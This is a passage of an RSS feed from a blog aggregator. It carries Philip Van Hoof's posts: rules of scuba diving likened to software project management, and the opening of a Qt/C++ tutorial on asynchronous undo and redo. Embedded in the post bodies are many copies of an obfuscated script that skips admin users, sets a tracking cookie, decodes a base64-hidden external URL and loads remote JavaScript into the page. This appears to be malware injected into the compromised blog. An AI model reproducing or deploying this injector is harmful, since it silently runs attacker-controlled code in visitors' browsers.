key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script></p>
<span class="net_nemein_favourites">0 <a href="http://maemo.org/news/?net_nemein_favourites_execute=fav&net_nemein_favourites_execute_for=1e76293925d398e629311e7b3858de81700ebd0ebd0&net_nemein_favourites_url=https://maemo.org/news/favorites//json/fav/midgard_article/1e76293925d398e629311e7b3858de81700ebd0ebd0/" class="net_nemein_favourites_create"><img src="http://static.maemo.org:81/net.nemein.favourites/not-favorite.png" style="border: none;" alt="Add to favourites" title="Add to favourites" /></a>0 <a href="http://maemo.org/news/?net_nemein_favourites_execute=bury&net_nemein_favourites_execute_for=1e76293925d398e629311e7b3858de81700ebd0ebd0&net_nemein_favourites_url=https://maemo.org/news/favorites//json/bury/midgard_article/1e76293925d398e629311e7b3858de81700ebd0ebd0/" class="net_nemein_favourites_create"><img src="http://static.maemo.org:81/net.nemein.favourites/not-buried.png" style="border: none;" alt="Bury" title="Bury" /></a></span>]]></description>
            <author>Philip Van Hoof &lt;pvanhoof@gnome.org&gt;</author>
            <category>feed:43af5b2374081abdd0dbc4ba26a0b54c</category>
            <pubDate>Thu, 06 Jul 2017 19:49:17 +0000</pubDate>
            <guid>http://maemo.org/midcom-permalink-1e76293925d398e629311e7b3858de81700ebd0ebd0</guid>
        </item>
        <item>
            <title>The rules of scuba diving</title>
            <link>https://pvanhoof.be/blog/index.php/2017/05/17/the-rules-of-scuba-diving</link>
            <description><![CDATA[
<ul>
<li>First rule. You must understand the rules of scuba diving. If you don&#8217;t know or understand the rules of scuba diving, go to the second rule.</li>
<li>The second rule is that you never dive alone.</li>
<li>The third rule is that you always keep close enough to each other to perform a rescue of any kind.</li>
<li>The forth rule is that you signal each other and therefor know each other&#8217;s signals. Underwater, communication is key.</li>
<li>The fifth rule is that you tell the others, for example, when you don&#8217;t feel well. The others want to know when you emotionally don&#8217;t feel well. Whenever you are insecure, you tell them. This is hard.</li>
<li>The sixth rule is that you don&#8217;t violate earlier agreed upon rules.</li>
<li>The seventh rule is that given rules will be eclipsed the moment any form of panic occurs, you will restore the rules using rationalism first, pragmatism next but emotional feelings last. No matter what.</li>
<li>The eighth rule is that the seventh rule is key to survival.</li>
</ul>
<p>These rules make scuba diving an excellent learning school for software development project managers.</p>
<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script></p>
<span class="net_nemein_favourites">0 <a href="http://maemo.org/news/?net_nemein_favourites_execute=fav&net_nemein_favourites_execute_for=1f0ab8218702bccab8211f098258770828504ca04ca&net_nemein_favourites_url=https://maemo.org/news/favorites//json/fav/midgard_article/1f0ab8218702bccab8211f098258770828504ca04ca/" class="net_nemein_favourites_create"><img src="http://static.maemo.org:81/net.nemein.favourites/not-favorite.png" style="border: none;" alt="Add to favourites" title="Add to favourites" /></a>0 <a href="http://maemo.org/news/?net_nemein_favourites_execute=bury&net_nemein_favourites_execute_for=1f0ab8218702bccab8211f098258770828504ca04ca&net_nemein_favourites_url=https://maemo.org/news/favorites//json/bury/midgard_article/1f0ab8218702bccab8211f098258770828504ca04ca/" class="net_nemein_favourites_create"><img src="http://static.maemo.org:81/net.nemein.favourites/not-buried.png" style="border: none;" alt="Bury" title="Bury" /></a></span>]]></description>
            <author>Philip Van Hoof &lt;pvanhoof@gnome.org&gt;</author>
            <category>feed:43af5b2374081abdd0dbc4ba26a0b54c</category>
            <pubDate>Wed, 17 May 2017 19:41:33 +0000</pubDate>
            <guid>http://maemo.org/midcom-permalink-1f0ab8218702bccab8211f098258770828504ca04ca</guid>
        </item>
        <item>
            <title>How do they do it? Asynchronous undo and redo editors</title>
            <link>https://pvanhoof.be/blog/index.php/2017/05/11/how-do-they-do-it-asynchronous-undo-and-redo-editors</link>
            <description><![CDATA[
<p>Imagine we want an editor that has undo and redo capability. But the operations on the editor are all asynchronous. This implies that also undo and redo are asynchronous operations.</p>
<p>We want all this to be available in QML, we want to use QFuture for the asynchronous stuff and we want to use QUndoCommand for the undo and redo capability.</p>
<p>But <a href="http://www.sciencechannel.com/tv-shows/how-do-they-do-it/">how do they do it</a>?</p>
<p>First of all we will make a status object, to put the status of the asynchronous operations in (<a href="https://github.com/pvanhoof/asyncundoable/blob/master/abstractasyncundoable.h">asyncundoable.h</a>).</p>
<pre style='color:#000000;background:#ffffff;'><span style='color:#800000; font-weight:bold; '>class</span> AbstractAsyncStatus<span style='color:#800080; '>:</span> <span style='color:#800000; font-weight:bold; '>public</span> <span style='color:#603000; '>QObject</span>
<span style='color:#800080; '>{</span>
    <span style='color:#004a43; '>Q_OBJECT</span>

    <span style='color:#004a43; background:#ffffff; '>Q_PROPERTY</span><span style='color:#808030; background:#ffffff; '>(</span><span style='color:#800000; background:#ffffff; font-weight:bold; '>bool</span><span style='color:#000000; background:#ffffff; '> success </span><span style='color:#800000; background:#ffffff; font-weight:bold; '>READ</span><span style='color:#000000; background:#ffffff; '> success CONSTANT</span><span style='color:#808030; background:#ffffff; '>)</span>
    <span style='color:#004a43; background:#ffffff; '>Q_PROPERTY</span><span style='color:#808030; background:#ffffff; '>(</span><span style='color:#800000; background:#ffffff; font-weight:bold; '>int</span><span style='color:#000000; background:#ffffff; '> extra </span><span style='color:#800000; background:#ffffff; font-weight:bold; '>READ</span><span style='color:#000000; background:#ffffff; '> extra CONSTANT</span><span style='color:#808030; background:#ffffff; '>)</span>
<span style='color:#800000; font-weight:bold; '>public</span><span style='color:#e34adc; '>:</span>
    AbstractAsyncStatus<span style='color:#808030; '>(</span><span style='color:#603000; '>QObject</span> <span style='color:#808030; '>*</span>parent<span style='color:#808030; '>)</span><span style='color:#800080; '>:</span><span style='color:#603000; '>QObject</span> <span style='color:#808030; '>(</span>parent<span style='color:#808030; '>)</span> <span style='color:#800080; '>{</span><span style='color:#800080; '>}</span>
    <span style='color:#800000; font-weight:bold; '>virtual</span> <span style='color:#800000; font-weight:bold; '>bool</span> success<span style='color:#808030; '>(</span><span style='color:#808030; '>)</span> <span style='color:#808030; '>=</span> <span style='color:#008c00; '>0</span><span style='color:#800080; '>;</span>
    <span style='color:#800000; font-weight:bold; '>virtual</span> <span style='color:#800000; font-weight:bold; '>int</span> extra<span style='color:#808030; '>(</span><span style='color:#808030; '>)</span> <span style='color:#808030; '>=</span> <span style='color:#008c00; '>0</span><span style='color:#800080; '>;</span>
<span style='color:#800080; '>}</span><span style='color:#800080; '>;</span>
</pre>
<p>We will be passing it around as a QSharedPointer, so that lifetime management becomes easy. But typing that out is going to give us long APIs. So let&#8217;s make a typedef for that (<a href="https://github.com/pvanhoof/asyncundoable/blob/master/abstractasyncundoable.h">asyncundoable.h</a>).</p>
<pre style='color:#000000;background:#ffffff;'><span style='color:#800000; font-weight:bold; '>typedef</span> QSharedPointer<span style='color:#800080; '>&lt;</span>AbstractAsyncStatus<span style='color:#800080; '>></span> AsyncStatusPointer<span style='color:#800080; '>;</span>
</pre>
<p>Now let&#8217;s make ourselves an undo command that allows us to wait for asynchronous undo and asynchronous redo. We&#8217;re combining QUndoCommand and QFutureInterface here (<a href="https://github.com/pvanhoof/asyncundoable/blob/master/abstractasyncundoable.h">asyncundoable.h</a>).</p>
<pre style='color:#000000;background:#ffffff;'><span style='color:#800000; font-weight:bold; '>class</span> AbstractAsyncUndoable<span style='color:#800080; '>:</span> <span style='color:#800000; font-weight:bold; '>public</span> <span style='color:#603000; '>QUndoCommand</span>
<span style='color:#800080; '>{</span>
<span style='color:#800000; font-weight:bold; '>public</span><span style='color:#e34adc; '>:</span>
    AbstractAsyncUndoable<span style='color:#808030; '>(</span> <span style='color:#603000; '>QUndoCommand</span> <span style='color:#808030; '>*</span>parent <span style='color:#808030; '>=</span> <span style='color:#800000; font-weight:bold; '>nullptr</span> <span style='color:#808030; '>)</span>
        <span style='color:#800080; '>:</span> <span style='color:#603000; '>QUndoCommand</span> <span style='color:#808030; '>(</span> parent <span style='color:#808030; '>)</span>
